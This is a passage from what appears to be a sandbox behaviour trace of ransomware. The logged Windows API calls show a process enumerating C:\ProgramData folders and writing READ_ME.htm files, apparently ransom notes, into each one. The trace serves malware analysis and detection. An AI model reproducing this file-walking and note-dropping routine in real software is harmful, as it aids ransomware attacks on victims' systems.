nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.516] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.516] SetErrorMode (uMode=0x0) returned 0x1 [0139.516] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Vault\\READ_ME.htm", lpFilePart=0x0) returned 0x2a [0139.516] SetErrorMode (uMode=0x1) returned 0x0 [0139.516] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\vault\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.517] SetErrorMode (uMode=0x0) returned 0x1 [0139.517] GetFileType (hFile=0x1d0) returned 0x1 [0139.517] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d98c8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28d98c8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.519] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc", lpFilePart=0x0) returned 0x20 [0139.519] SetErrorMode (uMode=0x1) returned 0x0 [0139.519] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*" (normalized: "c:\\programdata\\microsoft\\wwansvc\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.533] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.533] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0139.533] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0139.534] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.534] SetErrorMode (uMode=0x0) returned 0x1 [0139.534] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc", lpFilePart=0x0) returned 0x20 [0139.534] SetErrorMode (uMode=0x1) returned 0x0 [0139.534] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*" (normalized: "c:\\programdata\\microsoft\\wwansvc\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.534] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.535] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0139.535] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.535] SetErrorMode (uMode=0x0) returned 0x1 [0139.535] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", lpFilePart=0x0) returned 0x29 [0139.535] SetErrorMode (uMode=0x1) returned 0x0 [0139.535] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*" (normalized: "c:\\programdata\\microsoft\\wwansvc\\profiles\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.536] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.536] SetErrorMode (uMode=0x0) returned 0x1 [0139.536] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", lpFilePart=0x0) returned 0x29 [0139.536] SetErrorMode (uMode=0x1) returned 0x0 [0139.537] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*" (normalized: "c:\\programdata\\microsoft\\wwansvc\\profiles\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.537] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.537] SetErrorMode (uMode=0x0) returned 0x1 [0139.537] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\READ_ME.htm", lpFilePart=0x0) returned 0x35 [0139.537] SetErrorMode (uMode=0x1) returned 0x0 [0139.537] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\wwansvc\\profiles\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0139.540] SetErrorMode (uMode=0x0) returned 0x1 [0139.541] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\READ_ME.htm", lpFilePart=0x0) returned 0x2c [0139.541] SetErrorMode (uMode=0x1) returned 0x0 [0139.541] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\wwansvc\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.542] GetFileType (hFile=0x1d0) returned 0x1 [0139.542] SetErrorMode (uMode=0x0) returned 0x1 [0139.542] GetFileType (hFile=0x1d0) returned 0x1 [0139.542] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e2ac0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28e2ac0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.544] CloseHandle (hObject=0x1d0) returned 1 [0139.545] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\READ_ME.htm", lpFilePart=0x0) returned 0x24 [0139.545] SetErrorMode (uMode=0x1) returned 0x0 [0139.545] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.605] GetFileType (hFile=0x1d0) returned 0x1 [0139.605] SetErrorMode (uMode=0x0) returned 0x1 [0139.605] GetFileType (hFile=0x1d0) returned 0x1 [0139.606] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e7020*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28e7020*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0139.607] CloseHandle (hObject=0x1d0) returned 1 [0139.607] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft Help", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft Help", lpFilePart=0x0) returned 0x1d [0139.608] SetErrorMode (uMode=0x1) returned 0x0 [0139.608] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\*" (normalized: "c:\\programdata\\microsoft help\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x50bd0000, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x50bd0000, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x50bd0000, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x50bd0000, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe5875240, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe5875240, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe590d7c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.DATABASECOMPARE.16.1033.hxn", cAlternateFileName="MSDATA~1.HXN")) returned 1 [0139.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe69dd320, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe69dd320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe6a4f740, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.16.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1 [0139.613] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeb5e31c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeb5e31c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeb6555e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.16.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1 [0139.613] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe746d4c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe746d4c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe74df8e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.16.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1 [0139.613] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC.16.1033.hxn", cAlternateFileName="MSLYNC~1.HXN")) returned 1 [0139.613] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC_BASIC.16.1033.hxn", cAlternateFileName="MSLYNC~3.HXN")) returned 1 [0139.613] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC_ONLINE.16.1033.hxn", cAlternateFileName="MSLYNC~2.HXN")) returned 1 [0139.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe31c6cc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31c6cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe32390e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.16.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1 [0139.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeb5e31c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeb5e31c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeb6555e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.16.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1 [0139.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf00b8560, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf00b8560, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf012a980, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.16.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1 [0139.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe451df80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe451df80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe45903a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.16.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1 [0139.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xed88d220, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xed88d220, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xed8ff640, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.16.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1 [0139.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeef50480, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeef50480, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeefc28a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.16.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1 [0139.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeb5e31c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeb5e31c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeb6555e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.16.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1 [0139.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB.16.1033.hxn", cAlternateFileName="MSSKYP~1.HXN")) returned 1 [0139.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe9123e20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_BASIC.16.1033.hxn", cAlternateFileName="MSSKYP~3.HXN")) returned 1 [0139.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_ONLINE.16.1033.hxn", cAlternateFileName="MSSKYP~2.HXN")) returned 1 [0139.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe908b8a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe908b8a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe9123e20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_ONLINEG.16.1033.hxn", cAlternateFileName="MSSKYP~4.HXN")) returned 1 [0139.616] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe5875240, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe5875240, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe590d7c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SPREADSHEETCOMPARE.16.1033.hxn", cAlternateFileName="MSSPRE~1.HXN")) returned 1 [0139.616] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf0fbf040, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf0fbf040, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf10575c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.16.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1 [0139.616] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe31c6cc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31c6cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf10575c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1876, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1 [0139.616] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe31c6cc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31c6cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf10575c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1876, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 0 [0139.616] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.617] SetErrorMode (uMode=0x0) returned 0x1 [0139.618] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft 